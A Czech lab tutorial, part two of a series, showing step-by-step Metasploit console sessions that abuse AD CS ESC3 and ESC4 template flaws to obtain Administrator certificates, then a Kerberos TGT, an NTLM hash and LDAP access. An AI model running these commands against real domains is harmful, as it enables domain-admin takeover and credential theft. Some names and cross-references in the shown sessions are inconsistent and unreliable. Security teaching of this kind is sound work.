Útok na zranitelnosti AD CS ESC pomocí Metasploitu – 2. část
V tomto článku budeme pokračovat zneužitím nastavení certifikační autority AD CS, a to sice zranitelnostmi ESC3 a ESC4, jednoduše z pohodlí Metasploitu. Součástí bude i samotná eskalace privilegií na doménového administrátora.
ESC3
Pro využití zranitelných šablon ESC3 použijeme podobný postup jako u šablon ESC2, ale s mírně odlišnými kroky. Nejprve se vraťme k předchozímu výstupu v první části článku, kde najdeme několik šablon zranitelných vůči útokům ESC3. Musíme je však rozdělit podle vektoru útoku. Důvodem je, že první polovina tohoto útoku potřebuje použít šablony certifikátů zranitelné ESC3_TEMPLATE_1 k zápisu do šablony certifikátu, která má OID Certificate Request Agent (1.3.6.1.4.1.311.20.2.1), který umožňuje žádat o certifikáty jménem jiných zadavatelů (například uživatelů nebo počítačů).
Druhá část tohoto útoku pak bude vyžadovat, abychom spolupodepsali žádosti o další certifikát pomocí právě získaného certifikátu a následně požádali o certifikát, kterým se můžeme ověřovat jménem jiného uživatele. K tomu budeme muset v modulu ldap_esc_vulnerable_cert_finder
vyhledat certifikáty, které jsou označeny jako zranitelné vůči útoku ESC3_TEMPLATE_2.
Seznam šablon zranitelných útokem ESC3_TEMPLATE_1 je poměrně krátký a skládá se z jediné šablony:
- ESC3-TEMPLATE-1 - Zranitelná vůči ESC3_TEMPLATE_1 a umožňuje žádost prostřednictvím libovolného ověřeného uživatele domény.
Šablony ESC3_TEMPLATE_2 jsou však hojnější a můžeme najít několik zajímavých:
- SubCA - jak již bylo zmíněno, opět mohou vystavovat pouze správci domén a podnikoví správci, takže se nejedná o použitelný vektor.
- ESC3-Template2 - lze vystavit prostřednictvím libovolného ověřeného doménového uživatele.
- User - Vystavitelný prostřednictvím libovolného ověřeného uživatele domény.
- Administrator - Mohou jej vystavit pouze správci domény a podnikoví správci, takže není použitelným vektorem.
- DomainController – Může být vystaven pouze uživateli Domain Admins a Enterprise Admins, takže to není validní vektor.
Zúžíme-li tento seznam na ty, které můžeme skutečně vystavit jako uživatelé, zbývají nám User
a ESC3-Template2
jako šablony, které lze použít pro druhou část této zranitelnosti.
Nejprve získáme certifikát pomocí ipcr_cert
s certifikátem ESC3-Template1
.
msf6 > use auxiliary/admin/dcerpc/icpr_cert msf6 auxiliary(admin/dcerpc/icpr_cert) > show options Module options (auxiliary/admin/dcerpc/icpr_cert): Name Current Setting Required Description ---- --------------- -------- ----------- ALT_DNS no Alternative certificate DNS ALT_UPN no Alternative certificate UPN (format: USER@DOMAIN) CA yes The target certificate authority CERT_TEMPLATE User yes The certificate template ON_BEHALF_OF no Username to request on behalf of (format: DOMAIN\USER) PFX no Certificate to request on behalf of RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framew ork/wiki/Using-Metasploit RPORT 445 yes The target port (TCP) SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as Auxiliary action: Name Description ---- ----------- REQUEST_CERT Request a certificate View the full module info with the info, or info -d command. msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser SMBUser => normaluser msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass SMBPass => normalpass msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain SPATNADOMENA SMBDomain => SPATNADOMENA msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85 RHOSTS => 172.30.239.85 msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA spatnadomena-WIN-BR0CCBA815B-CA CA => spatnadomena-WIN-BR0CCBA815B-CA msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC3-Template1 CERT_TEMPLATE => ESC3-Template1 msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 172.30.239.85 [*] 172.30.239.85:445 - Requesting a certificate... [+] 172.30.239.85:445 - The requested certificate was issued. [*] 172.30.239.85:445 - Certificate UPN: normal@spatnadomena.com [*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-1611 [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx [*] Auxiliary module execution completed msf6 auxiliary(admin/dcerpc/icpr_cert) > loot Loot ==== host service type name content info path ---- ------- ---- ---- ------- ---- ---- windows.ad.cs certificate.pfx application/x-pkcs12 SPATNADOMENA\normal Certificate /home/gwillcox/.msf4/loot/20221216173718_default_unknown_windows.ad.cs_580032.pfx windows.ad.cs certificate.pfx application/x-pkcs12 SPATNADOMENA\normal Certificate /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx msf6 auxiliary(admin/dcerpc/icpr_cert) >
Dále se pokusíme použít tento certifikát k vyžádání jiného certifikátu jménem jiného uživatele. Pro tuto fázi musíme zadat jiný certifikát, který je zranitelný vůči vektoru útoku ESC3_TEMPLATE_2
, který jsme schopni zapsat. K tomu použijeme šablonu User
:
msf6 auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx PFX => /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx msf6 auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF SPATNADOMENA\\Administrator ON_BEHALF_OF => SPATNADOMENA\Administrator msf6 auxiliary(admin/dcerpc/icpr_cert) > show options Module options (auxiliary/admin/dcerpc/icpr_cert): Name Current Setting Required Description ---- --------------- -------- ----------- ALT_DNS no Alternative certificate DNS ALT_UPN no Alternative certificate UPN (format: USER@DOMAIN) CA spatnadomena-WIN-BR0CCBA815B-CA yes The target certificate authority CERT_TEMPLATE ESC3-Template1 yes The certificate template ON_BEHALF_OF SPATNADOMENA\Administrator no Username to request on behalf of (format: DOMAIN\USE R) PFX /home/gwillcox/.msf4/loot/2022 no Certificate to request on behalf of 1216174221_default_unknown_win dows.ad.cs_027866.pfx RHOSTS 172.30.239.85 yes The target host(s), see https://github.com/rapid7/me tasploit-framework/wiki/Using-Metasploit RPORT 445 yes The target port (TCP) SMBDomain SPATNADOMENA no The Windows domain to use for authentication SMBPass normalpass no The password for the specified username SMBUser normaluser no The username to authenticate as Auxiliary action: Name Description ---- ----------- REQUEST_CERT Request a certificate View the full module info with the info, or info -d command. msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User CERT_TEMPLATE => User msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 172.30.239.85 [*] 172.30.239.85:445 - Requesting a certificate... [+] 172.30.239.85:445 - The requested certificate was issued. [*] 172.30.239.85:445 - Certificate UPN: Administrator@spatnadomena.com [*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-500 [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216174559_default_unknown_windows.ad.cs_570105.pfx [*] Auxiliary module execution completed msf6 auxiliary(admin/dcerpc/icpr_cert) >
Abych ukázal, že je to možné i s ESC3-Template2
, zde je ukázka, která je také funkční:
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC3-Template2 CERT_TEMPLATE => ESC3-Template2 msf6 auxiliary(admin/dcerpc/icpr_cert) > show options Module options (auxiliary/admin/dcerpc/icpr_cert): Name Current Setting Required Description ---- --------------- -------- ----------- ALT_DNS no Alternative certificate DNS ALT_UPN no Alternative certificate UPN (format: USER@DOMAIN) CA spatnadomena-WIN-BR0CCBA815B-CA yes The target certificate authority CERT_TEMPLATE ESC3-Template2 yes The certificate template ON_BEHALF_OF SPATNADOMENA\Administrator no Username to request on behalf of (format: DOMAIN\USE R) PFX /home/gwillcox/.msf4/loot/2022 no Certificate to request on behalf of 1216174221_default_unknown_win dows.ad.cs_027866.pfx RHOSTS 172.30.239.85 yes The target host(s), see https://github.com/rapid7/me tasploit-framework/wiki/Using-Metasploit RPORT 445 yes The target port (TCP) SMBDomain SPATNADOMENA no The Windows domain to use for authentication SMBPass normalpass no The password for the specified username SMBUser normaluser no The username to authenticate as Auxiliary action: Name Description ---- ----------- REQUEST_CERT Request a certificate View the full module info with the info, or info -d command. msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 172.30.239.85 [*] 172.30.239.85:445 - Requesting a certificate... [+] 172.30.239.85:445 - The requested certificate was issued. [*] 172.30.239.85:445 - Certificate UPN: Administrator@spatnadomena.com [*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-500 [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216180342_default_unknown_windows.ad.cs_390825.pfx [*] Auxiliary module execution completed msf6 auxiliary(admin/dcerpc/icpr_cert) >
Pomocí modulu kerberos/get_ticket
pak můžeme jako správce domény Administrator získat Kerberos ticket (TGT). Toto bude popsáno v druhé části článku.
ESC4
Abychom mohli zneužít ESC4, budeme potřebovat účet s právy zápisu nad objektem šablony certifikátu ve službě Active Directory. To znamená najít objekt se slabými oprávněními definovanými v poli nTSecurityDescriptor
. Pak můžeme upravit a překonfigurovat šablonu tak, aby byla zranitelná jinou technikou ESC.
Nejprve použijeme modul icpr_cert
při pokusu o zneužití ESC1 (nastavením ALT_UPN). To se nepodaří, protože šablona certifikátu ESC4-Test
neumožňuje v žádosti uvést jméno subjektu certifikátu (v poli msPKI-Certificate-Name-Flag
není nastaven příznak CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
).
msf6 > use auxiliary/admin/dcerpc/icpr_cert msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85 RHOSTS => 172.30.239.85 msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser SMBUser => normaluser msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass SMBPass => normalpass msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA spatnadomena-WIN-BR0CCBA815B-CA CA => spatnadomena-WIN-BR0CCBA815B-CA msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC4-Test CERT_TEMPLATE => ESC4-Test msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@spatnadomena.com ALT_UPN => Administrator@spatnadomena.com msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 172.30.239.85 [-] 172.30.239.85:445 - There was an error while requesting the certificate. [-] 172.30.239.85:445 - Denied by Policy Module [-] 172.30.239.85:445 - Error details: [-] 172.30.239.85:445 - Source: (0x0009) FACILITY_SECURITY: The source of the error code is the Security API layer. [-] 172.30.239.85:445 - HRESULT: (0x80094812) CERTSRV_E_SUBJECT_EMAIL_REQUIRED: The email name is unavailable and cannot be added to the Subject or Subject Alternate name. [*] Auxiliary module execution completed msf6 auxiliary(admin/dcerpc/icpr_cert) >
Dále použijeme modul ad_cs_cert_template
k aktualizaci šablony certifikátu ESC4-Test
. Tento proces nejprve vytvoří zálohu dat certifikátu, kterou lze použít později. Poté se načtou místní data šablony certifikátu a použijí se k aktualizaci objektu v Active Directory. Data místní šablony certifikátu lze upravit tak, aby byl nastaven vlastní deskriptor zabezpečení.
msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 172.30.239.85 RHOSTS => 172.30.239.85 msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME normaluser USERNAME => normaluser msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD normalpass PASSWORD => normalpass msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test CERT_TEMPLATE => ESC4-Test msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION UPDATE ACTION => UPDATE msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set VERBOSE true VERBOSE => true msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run [*] Running module against 172.30.239.85 [+] Successfully bound to the LDAP server! [*] Discovering base DN automatically [*] 172.30.239.85:389 Getting root DSE [+] 172.30.239.85:389 Discovered base DN: DC=spatnadomena,DC=com [+] Read certificate template data for: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=spatnadomena,DC=com [*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json [*] Parsing SDDL text: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU) [+] The operation completed successfully! [*] Auxiliary module execution completed msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
Nyní, když byla šablona certifikátu aktualizována tak, aby byla zranitelná vůči ESC1, můžeme se přepnout zpět do posledního modulu a znovu se pokusit vystavit certifikát. Tentokrát se operace podaří.
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > previous msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 172.30.239.85 [+] 172.30.239.85:445 - The requested certificate was issued. [*] 172.30.239.85:445 - Certificate UPN: Administrator@spatnadomena.com [*] 172.30.239.85:445 - Certificate stored at: /home/kali/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx [*] Auxiliary module execution completed msf6 auxiliary(admin/dcerpc/icpr_cert) >
Nakonec se přepneme zpět na modul ad_cs_cert_template
, abychom obnovili původní konfiguraci. To provedeme tak, že nastavíme místní šablonu TEMPLATE_FILE
na JSON soubor, který byl vytvořen při předchozím spuštění.
msf6 auxiliary(admin/dcerpc/icpr_cert) > previous msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set TEMPLATE_FILE /home/kali/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json TEMPLATE_FILE => /home/kali/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run [*] Running module against 172.30.239.85 [+] Successfully bound to the LDAP server! [*] Discovering base DN automatically [*] 172.30.239.85:389 Getting root DSE [+] 172.30.239.85:389 Discovered base DN: DC=spatnadomena,DC=com [+] Read certificate template data for: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=spatnadomena,DC=com [*] Certificate template data written to: /home/kali/.msf4/loot/20230505083942_default_172.30.239.85_windows.ad.cs.te_000095.json [+] The operation completed successfully! [*] Auxiliary module execution completed msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
V tomto okamžiku byla obnovena konfigurace šablony certifikátu a útočník má k dispozici certifikát, který lze použít k ověření ve službě Active Directory jako doménový administrátor.
Autentizace pomocí certifikátu
Metasploit podporuje ověřování pomocí certifikátů několika různými způsoby. Tyto techniky lze použít k dalším akcím po vydání certifikátu pro určitou identitu (například uživatele Domain Admin).
Vůči Kerberos
Certifikáty lze použít k ověření vůči Kerberos pomocí modulu kerberos/get_ticket
zadáním volby CERT_FILE
. Vezměte soubor certifikátu z poslední fáze útoku a nastavte jej jako soubor CERT_FILE
. Certifikáty z Metasploitu nevyžadují heslo, ale pokud byl certifikát vygenerován ze zdroje, který heslo nastavil, lze ho zadat v parametru CERT_PASSWORD
. Nastavte RHOST
na řadič domény, který je distribučním centrem klíčů (KDC) pro prostředí Active Directory.
Získání NT hashe
Certifikáty lze použít k získání hashe NTLM účtu s rozšířením PKINIT. Chcete-li si vyžádat hash, nastavte akci na hodnotu GET_HASH
.
msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhosts=172.30.239.85 cert_file=/home/kali/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx [*] Running module against 172.30.239.85 [+] 172.30.239.85:88 - Received a valid TGT-Response [*] 172.30.239.85:88 - TGT MIT Credential Cache ticket saved to /home/kali/.msf4/loot/20230505094204_default_172.30.239.85_mit.kerberos.cca_324339.bin [*] 172.30.239.85:88 - Getting NTLM hash for Administrator@spatnadomena.com [+] 172.30.239.85:88 - Received a valid TGS-Response [*] 172.30.239.85:88 - TGS MIT Credential Cache ticket saved to /home/kali/.msf4/loot/20230505094204_default_172.30.239.85_mit.kerberos.cca_031414.bin [+] Found NTLM hash for Administrator: aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f [*] Auxiliary module execution completed msf6 auxiliary(admin/kerberos/get_ticket) >
Získání Kerberos ticketu
Certifikáty lze použít k vydání TGT (Kerberos ticket granting ticket), který lze následně použít k ověření ke službám, jako jsou HTTP, LDAP a SMB. Ticket granting tickets lze vystavit pomocí akce GET_TGT
.
msf6 auxiliary(admin/kerberos/get_ticket) > get_tgt rhosts=172.30.239.85 cert_file=/home/kali/.msf4/loot/20230124173224_default_172.30.239.85_windows.ad.cs_287833.pfx [*] Running module against 172.30.239.85 [*] 172.30.239.85:88 - Getting TGT for Administrator@spatnadomena.com [+] 172.30.239.85:88 - Received a valid TGT-Response [*] 172.30.239.85:88 - TGT MIT Credential Cache ticket saved to /home/kali/.msf4/loot/20230124202354_default_172.30.239.85_mit.kerberos.cca_566767.bin [*] Auxiliary module execution completed msf6 auxiliary(admin/kerberos/get_ticket) > klist Kerberos Cache ============== host principal sname issued status path ---- --------- ----- ------ ------ ---- 172.30.239.85 Administrator@spatnadomena.com krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-01-24 20:23:54 -0500 valid /home/kali/.msf4/loot/20230124202354_default_172.30.239.85_mit.kerberos.cca_566767.bin msf6 auxiliary(admin/kerberos/get_ticket) >
Jakmile je TGT vydán, lze jej zobrazit ve výstupu příkazu klist. Pokud je TGT uložen, bude v budoucnu automaticky použit k vyžádání ticket granting services (TGS) pro ověřování konkrétních služeb.
Vůči LDAP
Certifikáty lze také použít k přímému ověřování do LDAP pomocí schannel. Moduly Metasploitu, které používají vestavěnou knihovnu LDAP (včetně auxiliary/gather/ldap_query), toto nabízejí jako volitelné možnosti:
- LDAP::Auth - musí být nastaveno na schannel
- LDAP::CertFile - musí být nastaveno na soubor certifikátu PFX, pomocí kterého se má ověřování provádět.
- SSL - musí být nastaveno na true (ověřování schannel je kompatibilní pouze s TLS spojeními).
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.30.239.85 RHOSTS => 172.30.239.85 msf6 auxiliary(gather/ldap_query) > set LDAP::Auth schannel LDAP::Auth => schannel msf6 auxiliary(gather/ldap_query) > set LDAP::CertFile /home/kali/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx LDAP::CertFile => /home/kali/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx msf6 auxiliary(gather/ldap_query) > set SSL true [!] Changing the SSL option's value may require changing RPORT! SSL => true msf6 auxiliary(gather/ldap_query) > enum_domain [*] Running module against 172.30.239.85 [*] Discovering base DN automatically [+] 172.30.239.85:389 Discovered base DN: DC=spatnadomena,DC=com [+] 172.30.239.85:389 Discovered schema DN: DC=spatnadomena,DC=com DC=msflab DC=local ================== Name Attributes ---- ---------- lockoutduration 0:00:30:00 lockoutthreshold 0 maxpwdage 42:00:00:00 minpwdage 1:00:00:00 minpwdlength 7 ms-ds-machineaccountquota 10 name msflab objectsid S-1-5-21-3402587289-1488798532-3618296993 [*] Auxiliary module execution completed msf6 auxiliary(gather/ldap_query) >
Závěr
V tomto dvoudílném seriálu jsme si popsali existující zranitelnosti certifikační platformy v doméně Windows, tzv. ESC1 až ESC11. Ukázali jsme si, že nejběžnější typy ESC1 – ESC4 lze zneužít poměrně jednoduše v prostředí Metasploitu včetně praktických ukázek.
Jako administrátor domény není radno tyto typy zranitelností podceňovat, protože pro útočníky se jedná o poměrně rychlý a přímočarý způsob, jak eskalovat svá privilegia úplně nejvýš – na doménového administrátora.